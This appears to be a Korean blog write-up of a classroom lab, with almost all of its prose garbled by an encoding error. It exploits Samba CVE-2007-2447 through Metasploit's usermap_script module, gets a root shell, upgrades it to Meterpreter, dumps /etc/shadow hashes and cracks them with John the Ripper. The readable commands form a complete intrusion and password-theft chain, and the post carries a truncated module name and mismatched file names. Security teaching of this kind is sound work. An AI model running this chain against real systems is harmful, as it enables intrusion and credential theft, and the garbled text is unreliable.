! ์ด ํฌ์คํธ์ ๋ด์ฉ์ (2019๋ ) ์ ๊ณต ๊ฐ์์์ ๋ค๋ฃฌ ๋ฆฌ๋ ์ค ๋ณด์ ์ค์ต์ ๊ธฐ๋ก์ฉ์ด๋ฉฐ, ์ด๋ ํ์ต ๋ชฉ์ ์ผ๋ก๋ง ์ฌ์ฉ๋์ด์ผ ํฉ๋๋ค.
! ์ด๋ ํ ๊ฒฝ์ฐ์๋ ์ด๋ฌํ ๊ธฐ์ ์ ์ ์ฉํ๊ฑฐ๋ ๋ถ๋ฒ์ ์ธ ํ๋์ ์ฌ์ฉํด์๋ ์ ๋ฉ๋๋ค.
! ๋ชจ์ ํดํน๊ณผ ๊ด๋ จ๋ ์ค์ต์ ํฉ๋ฒ์ ์ธ ํ๊ฒฝ์์๋ง ์ํ๋์ด์ผ ํ๋ฉฐ, ๋ฌด๋จ์ผ๋ก ๋ค๋ฅธ ์ฌ๋์ ์์คํ ์ ์ ๊ทผํ๋ ๋ฑ์ ํ์๋ ๋ฒ์ ์ธ ๋ฌธ์ ๋ก ์ด์ด์ง ์ ์์ต๋๋ค. ์ด๋ฌํ ๊ธฐ์ ์ ์ฌ์ฉํ ๋์๋ ํญ์ ์ค๋ฆฌ์ ์ธ ์ฑ ์์ ๊ฐ๊ณ ํ๋ํด์ผ ํฉ๋๋ค.
๐ก ์ทจ์ฝ์ ์ ๋ฆฌ
Samba๋ ๋ฆฌ๋ ์ค/์ ๋์ค ์ํ ์์ Windows์ ํ์ผ ๋ฐ ํ๋ฆฐํฐ ๊ณต์ ๋ฅผ ๊ฐ๋ฅํ๊ฒ ํด์ฃผ๋ ์๋น์ค๋ค.
Windows์ SMB(Server Message Block) ํ๋กํ ์ฝ์ ๊ตฌํํ ์คํ์์ค ์ํํธ์จ์ด๋ฅผ ๋งํ๋ค.
ํ์ง๋ง ์ค๋๋ samba ๋ฒ์ ์ ์ฌ๋ฌ ๊ฐ์ง ์ทจ์ฝ์ ``cve``์ด ์กด์ฌํด์ ๊ณต๊ฒฉ์๊ฐ ์๊ฒฉ์์ ๋ช ๋ น์ ์คํํ๊ฑฐ๋ ๋ฃจํธ ๊ถํ์ ํ์ทจ ํ ์ ์๋ค.
๐ Samba usermap_script ์ทจ์ฝ์ ๊ฐ์ (CVE-2007-2447)
- ์ํฅ๋ฐ๋ ์ํํธ์จ์ด: Samba 3.0.0 ~ 3.0.25rc3
- ์ทจ์ฝ์ ์ ํ: User-Supplied Data Command Injection
- ๊ณต๊ฒฉ ๋์ด๋: ๋ฎ์ (์ต๋ช ์ ๊ทผ ๊ฐ๋ฅ)
- ๊ณต๊ฒฉ ๊ฒฐ๊ณผ: ์๊ฒฉ ์ฝ๋ ์คํ (RCE)
- ๊ณต๊ฒฉ ๋ฐฉ์: ``username`` ํ๋๋ฅผ ์กฐ์ํ์ฌ ๋ช ๋ น ์คํ
์ด ์ทจ์ฝ์ ์ Samba์ ``username map script`` ๊ธฐ๋ฅ์์ ๋ฐ์ํ๋ ๋ช ๋ น ์ฃผ์ (Command Injection) ๋ฌธ์ ๋ก ์ธํด ์ ์ฉ๋ ์ ์๋ค.
๐ธ๊ณต๊ฒฉ ๋ฐฉ์
- Samba์ ``username map script`` ์ต์ ์ ์๋ชป๋ ๋ฐฉ์์ผ๋ก ์ฒ๋ฆฌํ๋ ๋ฌธ์ ๋ฅผ ์ ์ฉํด์ ์๊ฒฉ ์ฝ๋ ์คํ(RCE)์ ์ํํ ์ ์๋ค.
- ์ฆ, Samba ์๋ฒ๊ฐ ์ฌ์ฉ์ ์ ๋ ฅ์ ์ ์ ํ๊ฒ ๊ฒ์ฆํ์ง ์์์ ๊ณต๊ฒฉ์๊ฐ ๋ช ๋ น์ด๋ฅผ ์ฃผ์ ํ์ฌ ์๊ฒฉ์์ ์ฝ๋ ์คํ์ด ๊ฐ๋ฅํ๋ค.
- ์ฑ๊ณตํ๋ฉด ๋ฆฌ๋ ์ค ์์ ์ป์ ์ ์๋ค.
๐ธ์ทจ์ฝํ Samba ๋ฒ์
- ``Samba 3.0.25rc3`` ์ดํ ๋ฒ์
- ๊ธฐ๋ณธ์ ์ผ๋ก ๋ฆฌ๋ ์ค ๊ธฐ๋ฐ ์๋ฒ์์ ์คํ๋จ
NVD - CVE-2007-2447
CVE-2007-2447 Detail Modified This vulnerability has been modified since it was last analyzed by the NVD. It is awaiting reanalysis which may result in further changes to the information provided. Description The MS-RPC functionality in smbd in Samba 3.0.0
nvd.nist.gov
1๏ธโฃ ์ค์ต ํ๊ฒฝ ๊ตฌ์ฑ
๐น1. ๋คํธ์ํฌ ๊ตฌ์กฐ
- ๊ณต๊ฒฉ์ (Attacker): Kali Linux
- ํ๊ฒ (Target): ์ทจ์ฝํ Samba ์๋ฒ
๐น2. ํ์ ๋๊ตฌ ์ค์น
- ๊ณต๊ฒฉ ๋จธ์ (Kali Linux)์์ ํ์ํ ํด:
- Metasploit Framework (``msfconsole``): ์ต์คํ๋ก์ ์คํ์ ์ํ ๋๊ตฌ
- John the Ripper (``john``): ํจ์ค์๋ ํฌ๋ ๋๊ตฌ
- ํ๊ฒ ๋จธ์ (์ทจ์ฝํ Samba ์๋ฒ) ์ค์ :
- Samba 3.0.20 ~ 3.0.24 ๋ฒ์ ์ค์น
- ``usermap_script`` ์ทจ์ฝ์ ์ด ์กด์ฌํ๋ ์ํ ์ ์ง
2๏ธโฃ Metasploit์ ํ์ฉํ Samba ์ทจ์ฝ์ ์ต์คํ๋ก์
CVE-2007-2447 ์ทจ์ฝ์ ์ Samba์ usermap_script ๊ธฐ๋ฅ์์ ๋ฐ์ํ๋ ๋ช ๋ น์ด ์ฝ์ ์ทจ์ฝ์ ์ด๋ค.
์ฆ, ๊ณต๊ฒฉ์๊ฐ ์๊ฒฉ์์ ๋ช ๋ น์ด๋ฅผ ์คํํ ์ ์๋ ์ทจ์ฝ์ ์ด๊ธฐ ๋๋ฌธ์, ์ด๋ฅผ ํ์ฉํ๋ฉด root ๊ถํ์ ๊ฐ์ง ์์ ํ๋ํ ์ ์๋ค.
๐น1. Metasploit ์คํ
msfconsole
๐น2. ์ทจ์ฝ์ ๊ณต๊ฒฉ์ ์ํ ์ค์
``exploit/multi/samba/usermap_scrip`` ๋ชจ๋์ ์ฌ์ฉํด์ Samba ์ทจ์ฝ์ ์ ์ ์ฉํ์ฌ usermap ์คํฌ๋ฆฝํธ๋ฅผ ํตํด ์๊ฒฉ ์ฝ๋๋ฅผ ์คํํ๋ค.
use exploit/multi/samba/usermap_script
set payload cmd/unix/bind_ruby
set rhost <ํ๊ฒ ์๋ฒ IP>
exploit
- ``use exploit/multi/samba/usermap_script``: ``usermap_script`` ์ทจ์ฝ์ ์ ์ด์ฉํ ์ต์คํ๋ก์ ์ฌ์ฉ ์ค์
- ``payload cmd/unix/bind_ruby``: ํ๊ฒ ์์คํ ์ Ruby ์์ ๋ฐ์ธ๋ฉ. ์๊ฒฉ ๋ช ๋ น์ด๋ฅผ ์คํํ ์ ์๋๋ก ํ์ด๋ก๋ ์ค์
- ``rhost <ํ๊ฒ ์๋ฒ IP>``: ๊ณต๊ฒฉํ ๋์ ์๋ฒ์ IP๋ฅผ ์ง์
์นจํฌ์ ์ฑ๊ณตํ๋ฉด Meterpreter ์ธ์ ์ ํตํด ์์คํ ์ ์ ์ดํ ์ ์๋ค.
- ``whoami`` ์ ๋ ฅ์ ํตํด ํ์ฌ root ๊ณ์ ๊ถํ์ ์ทจ๋ํ ๊ฒ์ ํ์ธ ๊ฐ๋ฅํ๋ค.
whoami
3๏ธโฃ Meterpreter ์ธ์ ์ ๊ทธ๋ ์ด๋
๐น1. ๊ธฐ์กด ์์ ๋ฐฑ๊ทธ๋ผ์ด๋๋ก ์ ํ
- ์ต์คํ๋ก์์ผ๋ก ํ๋ํ cmd ์์ ๋ฐฑ๊ทธ๋ผ์ด๋๋ก ์ ํ
- ``Ctrl+Z`` ํค๋ฅผ ๋๋ฌ ํ์ฌ ์ธ์ ์ ๋ฐฑ๊ทธ๋ผ์ด๋๋ก ์ ํ
Ctrl + Z
- Metasploit ํ๋กฌํํธ์์ ๋ฐฑ๊ทธ๋ผ์ด๋๋ก ์ ํ๋๋์ง ํ์ธ
sessions
- ํ์ฌ ์ธ์ ID ํ์ธ
๐น2. Shell์ Meterpreter๋ก ๋ณํ
- ``Shell_to_meterpreter`` ๋ชจ๋ ์คํ
- ํ์ฌ ํ์ฑํ๋ cmd ์์ Meterpreter๋ก ๋ณํํ๋ ๋ชจ๋ ์ฌ์ฉ
use post/multi/manage/shell_to_meterpreter
- ์ต์ ์ค์ (set ๋ช ๋ น์ด)
- ``SESSION 1`` > ๊ธฐ์กด cmd ์์ ๋ณํํ ์ธ์ ์ ํ
set SESSION 1
exploit
- exploit ํ Meterpreter ์ธ์ ์ด ์ฑ๊ณต์ ์ผ๋ก ์ด๋ ธ์
๐น3. Meterpreter ์ธ์ ํ์ฑํ
- ํ์ฌ ํ์ฑํ๋ Meterpreter ์ธ์ ํ์ธ
sessions -l
- Meterpreter ์ธ์ (ID 2๋ฒ)์ด ์ฑ๊ณต์ ์ผ๋ก ์ด๋ฆผ
- Meterpreter ์คํ
sessions 2
4๏ธโฃ ๋ฆฌ๋ ์ค ์์คํ ํจ์ค์๋ ํด์ ๋คํ
์์คํ ์์ ํจ์ค์๋ ํด์๋ฅผ ์ถ์ถํ๋ ๋จ๊ณ์ด๋ค.
๋ฆฌ๋ ์ค์ ``/etc/shadow`` ํ์ผ์ ์ ์ฅ๋ ํจ์ค์๋๋ฅผ ๊ฐ์ ธ์์ ํฌ๋ํ ์ ์๋ค.
๐น1. ํด์ ๋คํ
``post/linux/gather/hashdump``๋ Metasploit์์ ๋ฆฌ๋ ์ค ์์คํ ์ ํด์ ์ ๋ณด๋ฅผ ๋คํํ๋ ํฌ์คํธ-์ต์คํ๋ก์ ๋ชจ๋์ด๋ค. ์ด ๋ชจ๋์ ๊ณต๊ฒฉ์๊ฐ ์์คํ ์ ์ ๊ทผํ ํ, ์ฌ์ฉ์ ๊ณ์ ์ ๋น๋ฐ๋ฒํธ ํด์๋ฅผ ๋คํํ์ฌ ํฌ๋ํ๊ฑฐ๋ ์ถ๊ฐ์ ์ธ ๊ณต๊ฒฉ์ ์ํํ ์ ์๋๋ก ํ๋ค.
run post/linux/gather/hashdump
- ``run post/linux/gather/hashdump``: ๋์ ์์คํ
์์ ์ฌ์ฉ์ ๊ณ์ ์ ๋น๋ฐ๋ฒํธ ํด์๋ฅผ ๋คํํ๋ค.
- ๋ณดํต ``hashdump``๋ ``/etc/shadow`` ํ์ผ์ ์ฝ์ด ๋น๋ฐ๋ฒํธ ํด์๋ฅผ ๋คํํ๋ ๋ฐฉ์์ผ๋ก ๋์ํ๋ค.
- ํ๋จ์ Unshadowed Password File์ ๋ณด๋ฉด ``/root/.msf4/loot/`` ๊ฒฝ๋ก์ ํ์ผ์ด ์ ์ฅ๋๋ค.
5๏ธโฃ John the Ripper๋ก ํจ์ค์๋ ํด์ ํฌ๋
๐น1. John the Ripper ์์
``john`` ๋ช ๋ น์ด๋ John the Ripper๋ผ๋ ๋น๋ฐ๋ฒํธ ํฌ๋ ๋๊ตฌ๋ฅผ ์ฌ์ฉํด์, ๋คํํ ํด์ํ์ผ์ ํฌ๋ํ๋๋ฐ ์ฌ์ฉ๋๋ค.
- ๋คํ๋ ํด์ ํ์ผ์ ``john`` ๋ช ๋ น์ด๋ก ํฌ๋ํนํ๋ค.
- ์ด ๋ช ๋ น์ด๋ ํด๋น ํด์ ํ์ผ์ ์ ์ฅ๋ ๋น๋ฐ๋ฒํธ๋ฅผ ํฌ๋ํนํ๋ ์์ ์ ์์ํ๋ค.
- ํฌ๋ํน ์งํ์ํ๋ ํ๋ฉด์ ํ์๋๋ฉฐ, ๋น๋ฐ๋ฒํธ๋ฅผ ์ฐพ์ ๋๊น์ง ๊ณ์ ์๋๋๋ค.
john 20191030113208_default_192.168.255.149_linux.hashes_544817.txt
๐น2. ํด์ ํ์ผ ๋ณต์ฌ
``john`` ๋ช ๋ น์ด๋ก ๋น๋ฐ๋ฒํธ ํฌ๋ํน์ ์์ํ๊ธฐ ์ ์, ๋คํ๋ ํด์ ํ์ผ์ ํน์ ์์น๋ก ๋ณต์ฌํด๋๋ ๊ฒ์ด ์ข๋ค.
๋ณต์ฌ๋ ํ์ผ์ ์ดํ ํฌ๋ํน ์์ ์ ์ํํ๋ ๋ฐ ์ฌ์ฉ๋๋ค.
cp ~/.msf4/loot/201903113208_default_192.168.255.149_linux.hashes_544817.txt /tmp/password.txt
- ๋คํ๋ ํด์ ํ์ผ์ ``/tmp/password.txt``๋ก ๋ณต์ฌํ์ฌ, ๋ค๋ฅธ ์์ ์ ์ฌ์ฉํ๋๋ก ํ๋ค.
๐น3. John ์คํ
- ``john`` ํด์ ์ฌ์ฉํ์ฌ, ``crypt`` ํฌ๋งท์ผ๋ก ์ ์ฅ๋ ๋น๋ฐ๋ฒํธ ํด์ ํ์ผ์ ํฌ๋ํนํ๋ค.
john --format=crypt /tmp/password.txt
- ``john``: ๋น๋ฐ๋ฒํธ ํด์ ํฌ๋ํน ๋๊ตฌ์ธ John the Ripper๋ฅผ ์คํํ๋ ๋ช ๋ น์ด
- ``--format=crypt``: ``john``์๊ฒ ์ฌ์ฉํ ํด์ ํฌ๋งท์ ๋ช ์ํ๋ค. ์ฌ๊ธฐ์ ``crypt``๋ ๋ฆฌ๋ ์ค์์ ๊ธฐ๋ณธ์ ์ผ๋ก ์ฌ์ฉ๋๋ ๋น๋ฐ๋ฒํธ ํด์ ์๊ณ ๋ฆฌ์ฆ์ด๋ค
- ``/tmp/password.txt``: ํฌ๋ํนํ ํด์๊ฐ ์ ์ฅ๋ ํ์ผ ๊ฒฝ๋ก
โ๏ธ ์ฌ์ฉํ ์ ์๋ ``john`` ๋ช ๋ น์ด ํ์ธ
โ๏ธ ์ง์๋๋ ํด์ ``format`` ๋ฆฌ์คํธ ํ์ธ
- John the Ripper๋ ๋ค์ํ ํด์ ํฌ๋งท์ ์ง์ํ๋ค.
- ``john -list=formats`` ๋ช ๋ น์ด๋ฅผ ์ฌ์ฉํ์ฌ ์ง์๋๋ ํฌ๋งท ๋ชฉ๋ก์ ํ์ธํ ์ ์๋ค.
๐น3. ํฌ๋๋ ํจ์ค์๋ ํ์ธ
- ``john --show`` ๋ช ๋ น์ด๋ John the Ripper๋ฅผ ์ฌ์ฉํ์ฌ ๋น๋ฐ๋ฒํธ๋ฅผ ํฌ๋ํนํ ํ , ๊ทธ ๊ฒฐ๊ณผ๋ก ์๋์ ๋น๋ฐ๋ฒํธ๋ฅผ ์ถ๋ ฅํ๋ ๋ช ๋ น์ด์ด๋ค.
- ์ด ๋ช ๋ น์ด๋ ํฌ๋ํน๋ ๋น๋ฐ๋ฒํธ๋ฅผ ํ์ธํ ๋ ์ฌ์ฉ๋๋ค.
john --show /tmp/password.txt
๐น4. ์ ์ฅ๋ ํจ์ค์๋ ํ์ธ
- ๋ง์ง๋ง์ผ๋ก John the Ripper๋ ํฌ๋ํน๋ ๋น๋ฐ๋ฒํธ๋ฅผ ``.pot`` ํ์ผ์ ์ ์ฅํ๋ค.
- ์ด ํ์ผ์ ์ด์ด ์ค์ ๋ก ํฌ๋ํน๋ ๋น๋ฐ๋ฒํธ๋ฅผ ํ์ธํ ์ ์๋ค.
cat /root/.john/john.pot